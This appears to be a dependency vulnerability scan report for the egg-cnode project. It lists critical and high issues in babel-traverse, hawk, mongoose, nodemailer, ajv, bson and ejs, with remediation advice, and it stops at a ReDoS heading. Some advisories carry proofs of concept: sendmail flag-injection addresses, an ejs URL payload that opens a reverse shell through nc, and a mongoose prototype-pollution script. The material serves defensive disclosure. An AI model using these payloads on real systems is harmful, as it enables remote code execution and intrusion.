Vulnerabilities	39 via 249 paths
Dependencies	639
Source	GitHub
Commit	6f9511e6

Find, fix and prevent vulnerabilities in your code.

Test and protect my applications

Severity

Critical
2
High
17
Medium
20
Low

Status

Open
39
Patched
0
Ignored
0

critical severity

Incomplete List of Disallowed Inputs

Vulnerable module: babel-traverse
Introduced through: loader-builder@2.7.2 and loader-koa@2.0.1

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-core@6.26.3 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-core@6.26.3 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-computed-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-computed-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-systemjs@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-systemjs@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0

…and 59 more

Overview

Affected versions of this package are vulnerable to Incomplete List of Disallowed Inputs when using plugins that rely on the path.evaluate() or path.evaluateTruthy() internal Babel methods.

Note:

This is only exploitable if the attacker uses known affected plugins such as @babel/plugin-transform-runtime, @babel/preset-env when using its useBuiltIns option, and any "polyfill provider" plugin that depends on @babel/helper-define-polyfill-provider. No other plugins under the @babel/ namespace are impacted, but third-party plugins might be.

Users that only compile trusted code are not impacted.

Workaround

Users who are unable to upgrade the library can upgrade the affected plugins instead, to avoid triggering the vulnerable code path in affected @babel/traverse.

Remediation

There is no fixed version for babel-traverse.

References

Incomplete List of Disallowed Inputs vulnerability report

critical severity

Authentication Bypass

Vulnerable module: hawk
Introduced through: loader-koa@2.0.1

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › less@2.7.3 › request@2.81.0 › hawk@3.1.3

Overview

hawk is a library for the HTTP Hawk Authentication Scheme.

Affected versions of this package are vulnerable to Authentication Bypass. The incoming (client supplied) hash of the payload is trusted by the server and not verified before the signature is calculated.

A malicious actor in the middle can alter the payload and the server side will not identify the modification occurred because it simply uses the client provided value instead of verify the hash provided against the modified payload.

According to the maintainers this issue is to be considered out of scope as "payload hash validation is optional and up to developer to implement".

Remediation

There is no fixed version for hawk.

References

Authentication Bypass vulnerability report

high severity

Improper Neutralization of Special Elements in Data Query Logic

Vulnerable module: mongoose
Introduced through: egg-mongoose@2.2.1

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › egg-mongoose@2.2.1 › mongoose@4.13.21

Remediation: Upgrade to egg-mongoose@4.0.0.

Overview

mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.

Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Data Query Logic due to the improper handling of $where in match queries. An attacker can manipulate search queries to inject malicious code.

Remediation

Upgrade mongoose to version 6.13.5, 7.8.3, 8.8.3 or higher.

References

Improper Neutralization of Special Elements in Data Query Logic vulnerability report

high severity

Improper Neutralization of Special Elements in Data Query Logic

Vulnerable module: mongoose
Introduced through: egg-mongoose@2.2.1

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › egg-mongoose@2.2.1 › mongoose@4.13.21

Remediation: Upgrade to egg-mongoose@4.0.0.

Overview

mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.

Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Data Query Logic due to the improper use of a $where filter in conjunction with the populate() match. An attacker can manipulate search queries to retrieve or alter information without proper authorization by injecting malicious input into the query.

Note: This vulnerability derives from an incomplete fix of CVE-2024-53900

Remediation

Upgrade mongoose to version 6.13.6, 7.8.4, 8.9.5 or higher.

References

Improper Neutralization of Special Elements in Data Query Logic vulnerability report

high severity

Command Injection

Vulnerable module: nodemailer
Introduced through: nodemailer@4.7.0

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › nodemailer@4.7.0

Remediation: Upgrade to nodemailer@6.4.16.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Command Injection. Use of crafted recipient email addresses may result in arbitrary command flag injection in sendmail transport for sending mails.

PoC

-bi@example.com (-bi Initialize the alias database.)
-d0.1a@example.com (The option -d0.1 prints the version of sendmail and the options it was compiled with.)
-Dfilename@example.com (Debug output ffile)

Remediation

Upgrade nodemailer to version 6.4.16 or higher.

References

Command Injection vulnerability report

high severity

Prototype Pollution

Vulnerable module: ajv
Introduced through: loader-koa@2.0.1

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › less@2.7.3 › request@2.81.0 › har-validator@4.2.1 › ajv@4.11.8

Overview

ajv is an Another JSON Schema Validator

Affected versions of this package are vulnerable to Prototype Pollution. A carefully crafted JSON schema could be provided that allows execution of other code by prototype pollution. (While untrusted schemas are recommended against, the worst case of an untrusted schema should be a denial of service, not execution of code.)

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

Unsafe Object recursive merge
Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`). The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.
Property Injection	Client	The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

Application server
Web server
Web browser

How to prevent

Freeze the prototype— use Object.freeze (Object.prototype).
Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.
As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade ajv to version 6.12.3 or higher.

References

HackerOne Report

Prototype Pollution vulnerability report

high severity

Internal Property Tampering

Vulnerable module: bson
Introduced through: egg-mongoose@2.2.1

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › egg-mongoose@2.2.1 › mongoose@4.13.21 › bson@1.0.9

Remediation: Upgrade to egg-mongoose@3.0.0.
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › egg-mongoose@2.2.1 › mongoose@4.13.21 › mongodb@2.2.34 › mongodb-core@2.1.18 › bson@1.0.9

Remediation: Upgrade to egg-mongoose@3.0.0.

Overview

bson is a BSON Parser for node and browser.

Affected versions of this package are vulnerable to Internal Property Tampering. The package will ignore an unknown value for an object's _bsotype, leading to cases where an object is serialized as a document rather than the intended BSON type.

NOTE: This vulnerability has also been identified as: CVE-2019-2391

Remediation

Upgrade bson to version 1.1.4 or higher.

References

Internal Property Tampering vulnerability report

high severity

Internal Property Tampering

Vulnerable module: bson
Introduced through: egg-mongoose@2.2.1

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › egg-mongoose@2.2.1 › mongoose@4.13.21 › bson@1.0.9

Remediation: Upgrade to egg-mongoose@3.0.0.
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › egg-mongoose@2.2.1 › mongoose@4.13.21 › mongodb@2.2.34 › mongodb-core@2.1.18 › bson@1.0.9

Remediation: Upgrade to egg-mongoose@3.0.0.

Overview

bson is a BSON Parser for node and browser.

NOTE: This vulnerability has also been identified as: CVE-2020-7610

Remediation

Upgrade bson to version 1.1.4 or higher.

References

Internal Property Tampering vulnerability report

high severity

Remote Code Execution (RCE)

Vulnerable module: ejs
Introduced through: egg-view-ejs@2.0.1

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › egg-view-ejs@2.0.1 › ejs@2.7.4

Remediation: Upgrade to egg-view-ejs@3.0.0.

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the view options parameter of renderFile, which makes it possible to inject code into outputFunctionName.

Note: This vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.

PoC:

Creation of reverse shell:

http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s

Remediation

Upgrade ejs to version 3.1.7 or higher.

References

Remote Code Execution (RCE) vulnerability report

high severity

Prototype Pollution

Vulnerable module: mongoose
Introduced through: egg-mongoose@2.2.1

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › egg-mongoose@2.2.1 › mongoose@4.13.21

Remediation: Upgrade to egg-mongoose@3.0.0.

Overview

mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.

Affected versions of this package are vulnerable to Prototype Pollution in document.js, via update functions such as findByIdAndUpdate(). This allows attackers to achieve remote code execution.

Note: Only applications using Express and EJS are vulnerable.

PoC


import { connect, model, Schema } from 'mongoose';

await connect('mongodb://127.0.0.1:27017/exploit');

const Example = model('Example', new Schema({ hello: String }));

const example = await new Example({ hello: 'world!' }).save();
await Example.findByIdAndUpdate(example._id, {
    $rename: {
        hello: '__proto__.polluted'
    }
});

// this is what causes the pollution
await Example.find();

const test = {};
console.log(test.polluted); // world!
console.log(Object.prototype); // [Object: null prototype] { polluted: 'world!' }

process.exit();

Details

There are two main ways in which the pollution of prototypes occurs:

Unsafe Object recursive merge
Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`). The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.
Property Injection	Client	The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

Application server
Web server
Web browser

How to prevent

Freeze the prototype— use Object.freeze (Object.prototype).
Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.
As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade mongoose to version 5.13.20, 6.11.3, 7.3.4 or higher.

References

Prototype Pollution vulnerability report

high severity

Regular Expression Denial of Service (ReDoS)

